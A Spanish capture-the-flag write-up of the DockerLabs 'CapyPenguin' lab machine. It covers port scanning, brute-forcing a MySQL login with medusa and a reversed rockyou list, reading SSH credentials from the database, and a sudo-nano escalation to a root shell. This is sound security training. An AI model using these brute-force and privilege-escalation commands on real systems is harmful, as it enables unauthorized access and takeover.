



Capyenguin writeup - Dockerlabs

Dificultad : Fácil

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Introducción:

Bienvenidos a "CapyPenguin", una máquina de práctica diseñada por DockerLabs. Esta máquina está orientada a la seguridad informática y ofrece un entorno seguro para practicar técnicas de hacking ético. "CapyPenguin" se centra en la explotación de vulnerabilidades relacionadas con la fuerza bruta a MySQL, proporcionando una experiencia práctica y educativa para profesionales y entusiastas de la ciberseguridad.

Reconocimiento:

Comenzamos con un ping para confirmar la conectividad.

```
[root@tellmefred]~[/home/tellmefred/Desktop/Dokerlabs/capypenguin]
# ping 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.101 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.080 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.095 ms
64 bytes from 172.17.0.2: icmp_seq=4 ttl=64 time=0.106 ms
^C
--- 172.17.0.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3051ms
rtt min/avg/max/mdev = 0.080/0.095/0.106/0.009 ms
```

Un Nmap que nos informa puertos 22 ssh, 80 http, 3306 mysql.

```
[root@tellmefred]~[/home/tellmefred/Desktop/Dokerlabs/capypenguin]
# nmap -sS -sC -p- --open -sV -Pn --min-rate 2500 172.17.0.2 -oN alports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-16 22:08 CEST
Nmap scan report for 172.17.0.2
Host is up (0.000014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh   OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 9e:6a:3f:89:de:9d:05:d9:94:32:73:8d:31:e0:a5:eb (ECDSA)
|_ 256 e7:ef:4f:4a:25:86:c9:55:b0:88:0a:8c:79:03:d0:f9 (ED25519)
80/tcp    open  http  Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Web de Capybaras
3306/tcp  open  mysql MySQL 5.5.5-10.6.16-MariaDB-0ubuntu0.22.04.1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.6.16-MariaDB-0ubuntu0.22.04.1
|   Thread ID: 35
|   Capabilities flags: 63486
|   Some Capabilities: Speaks&41ProtocolNew, SupportsLoadDataLocal, FoundRows, Speaks&41ProtocolOld, SupportsCompression, DontAllowDatabaseTableColumn, ODBCClient, SupportsTransactions, LongColumnFlag, IgnoreSigpipes, InteractiveClient, Support&41Auth, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, SupportsMultipleStatements, SupportsMultipleResults, SupportsAutopPlugins
|   Status: Autocommit
|   salt: -BA-<RZC94:fr+{MN}N
|_ Auth Plugin Name: mysql_native_password
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.22 seconds
```

Verificamos el puerto 80 y como de costumbre en estas maquinas verificar el código fuente.



Encontrando así esta información usuario : capybarauser y algo sobre el comando tac.

```
37         max-width: 100%;  
38     }  
39     height: auto;  
40   </style>  
41 </head>  
42 <body>  
43  
44   <header>  
45     <h1>Bienvenido a la Web de Cavybaras</h1>  
46   </header>  
47  
48   <main>  
49     <p>Hola <strong>capybarauser</strong>, ésta es una web de cavybaras.</p>  
50     <p>He securizado mi password, ya no se encuentra al comienzo del rockyou..., espero que nadie use el comando tac y se fije en las últimas passwords del rockyou</p>  
51   </main>  
52  
53   <footer>  
54       
55   </footer>  
56  
57 </body>  
58 </html>
```

Aquí vemos que este comando puede hacer.

¿Qué es el comando TAC de Linux? El comando TAC de Linux permite leer y mostrar el contenido de un archivo en orden inverso, es decir, empezando por la última línea y acabando por la primera. Sin embargo, este comando solo cambia el orden de las líneas de un archivo, no el orden de las palabras ni de las letras.

Hagamos un gobuster a ver si encontramos algo pero nada.

```
[root@tellmefred]~[/home/tellmefred/Desktop/Dokerlabs/capypenguin]
# gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,py,html
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://172.17.0.2/
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:   gobuster/3.6
[+] Extensions:  php,txt,py,html
[+] Timeout:      10s
=====
Starting gobuster in directory enumeration mode
=====
/.html          (Status: 403) [Size: 275]
/index.html     (Status: 200) [Size: 1332]
/.html          (Status: 403) [Size: 275]
/server-status  (Status: 403) [Size: 275]
Progress: 1102800 / 1102805 (100.00%)
=====
Finished
=====
```

pasemos a preparar nuestro rockyou alrevez.

```
[root@tellmefred]~[/usr/share/wordlists]
# tac rockyou.txt > myrockyou.txt

[root@tellmefred]~[/usr/share/wordlists]
# ls
amass  dirbuster  fasttrack.txt  john.lst  metasploit    nmap.lst  rockyou.txt.gz  wfuzz
dirb   dnsmap.txt  fern-wifi     legion    myrockyou.txt  rockyou.txt  sqlmap.txt   wifite.txt

[root@tellmefred]~[/usr/share/wordlists]
# mv myrockyou.txt /home/tellmefred/Desktop/Dokerlabs/capypenguin
```

Explotación:

Aquí nos bloquea el ataque de fuerza bruta con hydra y decido probar otra herramienta.

Uso medusa con los siguientes parámetros y tenemos la clave ahora vamos a ingresar a la base de datos.

```
[root@tellmefred]# [~/Desktop/Dokerlabs/cappyenguin]
# medusa -h 172.17.0.2 -u capybarauser -P /home/tellmefred/Desktop/Dokerlabs/cappyenguin/rock.txt -M mysql
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [mysql] Host: 172.17.0.2 (1 of 1, 0 complete) User: capybarauser (1 of 1, 0 complete) Password: ie168 (1 of 4 complete)
ACCOUNT FOUND: [mysql] Host: 172.17.0.2 User: capybarauser Password: ie168 [SUCCESS]
```

Aqui accedemos a mysql.

```
[root@tellmefred ~]# mysql -u capybarauser -h 172.17.0.2 -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2350904
Server version: 10.6.16-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
```

Seguimos con show databases; para ver que tenemos.

```
MariaDB [(none)]> show databases;
+-----+
| Database      |
+-----+
| information_schema |
| mysql          |
| performance_schema |
| pinguinasio_db   |
| sys            |
+-----+
5 rows in set (0.030 sec)
```

Seleccionamos pinguinasio_db.

```
MariaDB [pinguinasio_db]> show tables;
+-----+
| Tables_in_pinguinasio_db |
+-----+
| users                     |
+-----+
1 row in set (0.001 sec)
```

Y seleccionamos la tabla users.

```
MariaDB [pinguinasio_db]> select * from users;
+---+-----+-----+
| id | user  | password        |
+---+-----+-----+
| 1  | mario | pinguinomolon123 |
+---+-----+-----+
1 row in set (0.011 sec)
```

Accediendo al ssh con las credenciales.

```
[root@tellmefred)-[/home/tellmefred/Desktop/Dokerlabs/capypenguin]
# ssh mario@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:cVAfd3NT8Ui9tqlcjrEYGVrg/OCqqPzZTUGJVY/+bBA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
mario@172.17.0.2's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.6.9-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Tue Apr  9 17:31:05 2024 from 172.17.0.1
mario@d1a641988952:~$
```

Escalada de privilegios:

Y aquí con la escalada de privilegios, sudo -l y vemos el bin nano así que buscamos información.

```
To restore this content, you can run the 'unminimize' command.
Last login: Tue Apr  9 17:31:05 2024 from 172.17.0.1
mario@d1a641988952:~$ sudo -l
User mario may run the following commands on d1a641988952:
    (ALL : ALL) NOPASSWD: /usr/bin/nano
mario@d1a641988952:~$
```

Aquí vemos como explotar nano con sudo, y pasamos a la acción.

| Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo nano
^R^X
reset; sh 1>&0 2>&0
```

Seguimos los pasos y accedemos a una consola root.

```
#  
#  
# whoami  
root  
#  
#  
#  
#  
# id  
uid=0(root) gid=0(root) groups=0(root)  
#
```

Tratamiento tty y llegamos al directorio /root.

```
# script /dev/null -c bash  
Script started, output log file is '/dev/null'.  
root@d1a641988952:/home/mario# cd /root
```

Maquina rooted.